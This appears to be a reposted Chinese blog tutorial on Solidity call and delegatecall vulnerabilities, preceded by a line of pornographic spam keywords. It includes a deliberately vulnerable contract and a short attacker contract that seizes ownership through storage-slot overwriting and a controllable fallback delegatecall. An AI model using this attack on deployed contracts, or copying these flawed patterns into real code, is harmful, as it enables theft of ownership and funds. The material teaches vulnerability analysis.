国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Solidity 代碼執(zhí)行漏洞原理

這篇具有很好參考價(jià)值的文章主要介紹了Solidity 代碼執(zhí)行漏洞原理。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

目錄

1. 三種 call 方式

2. 兩種 call 參數(shù)類型

3. 漏洞場(chǎng)景

3.1?delegatecall

3.2 call


1. 三種 call 方式

Solidity 中一個(gè)合約調(diào)用其他合約的函數(shù)有三種方式:

<address>.call(...) returns (bool)
<address>.callcode(...) returns (bool)
<address>.delegatecall(...) returns (bool)

1)call()

call 是最常用的調(diào)用方式,call 的外部調(diào)用上下文是被調(diào)用者合約,也就是指執(zhí)行環(huán)境為被調(diào)用者的運(yùn)行環(huán)境,調(diào)用后內(nèi)置變量 msg 的值會(huì)修改為調(diào)用者。

2)delegatecall()

delegatecall 的外部調(diào)用上下文是調(diào)用者合約,也就是指執(zhí)行環(huán)境為調(diào)用者的運(yùn)行環(huán)境,調(diào)用后內(nèi)置變量 msg 的值不會(huì)修改為調(diào)用者。

3)callcode()

callcode 的外部調(diào)用上下文是調(diào)用者合約,也就是指執(zhí)行環(huán)境為調(diào)用者的運(yùn)行環(huán)境,調(diào)用后內(nèi)置變量 msg 的值會(huì)修改為調(diào)用者

2. 兩種 call 參數(shù)類型

傳入 call 函數(shù)的參數(shù)有兩種類型:

1)函數(shù)簽名

函數(shù)簽名 = 函數(shù)名 + (參數(shù)類型列表),uint 和 int 要寫為 uint256 和 int256

func(uint arg1, int arg2)? ==>? func(uint256,int256)

?調(diào)用方式:

<addr>.call(bytes)
addr.call(abi.encodeWithSignature("func(uint256)", arg1));
addr.call(msg.data);

msg.data

msg.data?是 solidity 中的一個(gè)全局變量,值為完整的 calldata(調(diào)用函數(shù)時(shí)傳入的數(shù)據(jù)),前4個(gè)字節(jié)就是函數(shù)選擇器,后面參數(shù)的每個(gè)值會(huì)轉(zhuǎn)換為固定長(zhǎng)度為 32bytes 的十六進(jìn)制字符串。如果有多個(gè)參數(shù),則串聯(lián)在一起。

如圖,three_call 的參數(shù)值,和 msg.data 的值是一樣的

solidity選擇器碰撞漏洞,區(qū)塊鏈安全,區(qū)塊鏈,solidity

2)函數(shù)選擇器

函數(shù)選擇器:函數(shù)簽名的 Keccak 哈希后的前 4個(gè)字節(jié),后邊跟參數(shù)

<addr>.call(bytes4 selector)
addr.call(bytes4(keccak-256("func(uint)")),arg1);
addr.call(abi.encodeWithSelector(0x6a627842, "0x2c44b726ADF1963cA47Af88B284C06f30380fC78"))

3. 漏洞場(chǎng)景

前置知識(shí):EVM 的 storage

單個(gè)合約中狀態(tài)變量存儲(chǔ)在 storage 中,會(huì)按聲明順序存入卡槽 slot

contract A{
    address owner;
    B addrB;
}

solidity選擇器碰撞漏洞,區(qū)塊鏈安全,區(qū)塊鏈,solidity

3.1?delegatecall

delegatecall 的變化

當(dāng)合約 A 和 合約 C 都有狀態(tài)變量,delegatecall 調(diào)用的函數(shù)如果修改了合約 C 第一狀態(tài)變量的值,那么實(shí)際修改的是合約 A 中第一個(gè)狀態(tài)變量的值,也就是合約 A 的 slot 0 中的狀態(tài)變量 owner

solidity選擇器碰撞漏洞,區(qū)塊鏈安全,區(qū)塊鏈,solidity

漏洞場(chǎng)景:

  • delegatecall 地址可控,可以修改調(diào)用者合約狀態(tài)變量
  • delegatecall 參數(shù)可控,可以執(zhí)行被調(diào)用合約的敏感函數(shù),如:使用了 msg.data 作為 delegatecall 參數(shù)
pragma solidity ^0.4.23;
// 合約 A
contract A{
    address owner;
    B addrB;
    
    constructor() {
       owner = msg.sender; 
    }
    
    function changeOwner(address _newOwner) public {
       require(msg.sender == owner); 
       owner = _newOwner;    
    }
    
    function setB(B addr) public {
        addrB = addr;
    }
    
    // vuln1:delegatecall 地址可控
    function vuln1(address _contract) public {
        _contract.delegatecall(abi.encodeWithSignature("func()"));
    }
    
    // vuln2:delegatecall 參數(shù)可控
    function() public{
        addrB.delegatecall(msg.data);
    }
}

// 合約 B
contract B {
    address public owner;

    function init() public  {
        owner = msg.sender;
    }
}

攻擊合約

pragma solidity ^0.4.23;
import "./A.sol";

contract Attacker{
    address public owner;

    // 攻擊 vuln1
    function func() public {
       // 修改合約 A 狀態(tài)變量 owner
       owner = msg.sender;    
    }

    function attack_vuln2(address addrA) public {
       // 調(diào)用合約 A 中不存在的函數(shù) init,進(jìn)而執(zhí)行 fallback 函數(shù),
       // 而此時(shí) msg.data 的前4個(gè)字節(jié)就是 init 函數(shù)選擇器,
       // 進(jìn)而執(zhí)行了合約 B 的 init 函數(shù)
       // A(addrA).init();    
       addrA.call(abi.encodeWithSignature("init()"));
    }
}

3.2 call

使用 call 調(diào)用別的合約的函數(shù)時(shí),執(zhí)行環(huán)境是被調(diào)用的合約執(zhí)行環(huán)境,改變的也是被調(diào)用合約的狀態(tài)變量。在合約內(nèi)部實(shí)例化別的合約,也是相當(dāng)于是 call 調(diào)用。

call 的漏洞場(chǎng)景和 delegatecall 差不多:

  • call 地址可控:執(zhí)行任意地址合約的的同名函數(shù)
  • call 參數(shù)可控:執(zhí)行該地址的合約的任意函數(shù)
    • 調(diào)用函數(shù)簽名可控
    • 調(diào)用函數(shù)的參數(shù)可控

EVM 的一個(gè)特性:EVM 在獲取參數(shù)的時(shí)候沒有參數(shù)個(gè)數(shù)校驗(yàn)的過程,從前往后取值,取夠參數(shù)個(gè)數(shù)后就把后面的多余參數(shù)截?cái)嗔?,在編譯和運(yùn)行階段都不會(huì)報(bào)錯(cuò)。

如下:后面的參數(shù) 4 和 5 會(huì)被截?cái)?span toymoban-style="hidden">文章來源地址http://www.zghlxwxcb.cn/news/detail-768816.html

addr.call(bytes4(keccak256("test(uint256,uint256,uint256)")),1,2,3,4,5)

到了這里,關(guān)于Solidity 代碼執(zhí)行漏洞原理的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包